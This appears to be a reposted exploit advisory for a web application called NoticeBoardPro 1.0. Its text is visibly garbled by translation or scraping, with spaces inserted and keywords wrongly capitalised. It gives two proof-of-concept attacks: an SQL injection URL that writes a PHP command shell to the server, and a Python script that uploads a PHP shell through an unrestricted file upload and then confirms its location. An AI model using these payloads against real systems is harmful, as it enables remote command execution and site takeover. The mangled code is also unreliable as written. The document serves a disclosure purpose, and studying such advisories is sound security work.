NoticeBoardPro 1.0 multiple defects and repair

#------------------------------------------------------------------------

# Software ...... NoticeBoardPro 1.0

# Vulnerability ...... SQL Injection

# Threat Level ...... Critical (4/5)

# Download ...... http://www.NoticeBoardPro.com/

# Discovery Date ......

# Tested On...

#------------------------------------------------------------------------

# Author ...... AutoSec Tools

# Site ...... http://www.autosectools.com/

# Email ...... .......... John Leitch <john@autosectools.com>

#------------------------------------------------------------------------

#

#

# -- Description --

#

# A SQL injection vulnerability in NoticeBoardPro 1.0 can be exploited

# To extract arbitrary data. In some environments it may be possible

# Create a PHP shell.

#

#

# -- PoC --

Http://www.bkjia.com/noticeboardpro/deleteItem3.php? NoticeID = & userID = and % 201 = 0% 20 UNION % 20 SELECT % 20% 3C? Php % 20 echo % 20 system ($ _ GET [% 22CMD % 22]); % 20? % 3E, % 20 FROM % 20 dual % 20 INTO % 20 OUTFILE % 20 .. /.. /htdocs/shell. php; % 23

#------------------------------------------------------------------------

# Software ...... NoticeBoardPro 1.0

# Vulnerability ...... Arbitrary Upload

# Threat Level ...... Very Critical (5/5)

# Download ...... http://www.NoticeBoardPro.com/

# Discovery Date ......

# Tested On...

#------------------------------------------------------------------------

# Author ...... AutoSec Tools

# Site ...... http://www.autosectools.com/

# Email ...... .......... John Leitch <john@autosectools.com>

#------------------------------------------------------------------------

#

#

# -- Description --

#

# An arbitrary upload vulnerability in NoticeBoardPro 1.0 can be

# Exploited to upload a PHP shell.

#

#

# -- PoC --

Import socket

Host = www.2cto.com

Path =/noticeboardpro

Shell_path = path +/photos/shell. php

Port = 80

Def upload_shell ():

S = socket. socket (socket. AF_INET, socket. SOCK_STREAM)

S. connect (host, port ))

S. settimeout (8)

S. send (POST + path +/editItem1.php HTTP/1.1

Host: www.2cto.com

Proxy-Connection: keep-alive

User-Agent: x

Content-Length: 251

Cache-Control: max-age = 0

Origin: null

Content-Type: multipart/form-data; boundary = ---- x

Accept: text/html

Accept-Encoding: gzip, deflate, sdch

Accept-Language: en-US, en; q = 0.8

Accept-Charset: ISO-8859-1, UTF-8; q = 0.7, *; q = 0.3

------ X

Content-Disposition: form-data; name = "picture_name"

Shell. php

------ X

Content-Disposition: form-data; name = "picture"; filename = "shell. php"

Content-Type: image/jpeg

<? Php echo <pre> + system ($ _ GET [CMD]) + </pre>;?>

------ X --)

Resp = s. recv (8192)

Http_ OK = HTTP/1.1 200 OK

If http_ OK not in resp [: len (http_ OK)]:

Print error uploading shell

Return

Else: print shell uploaded

S = socket. socket (socket. AF_INET, socket. SOCK_STREAM)

S. connect (host, port ))

S. settimeout (8)

S. send (GET + shell_path + HTTP/1.1

Host: + host +)

If http_ OK not in s. recv (8192) [: len (http_ OK)]: print shell not found

Else: print shell located at http: // + host + shell_path

Upload_shell ()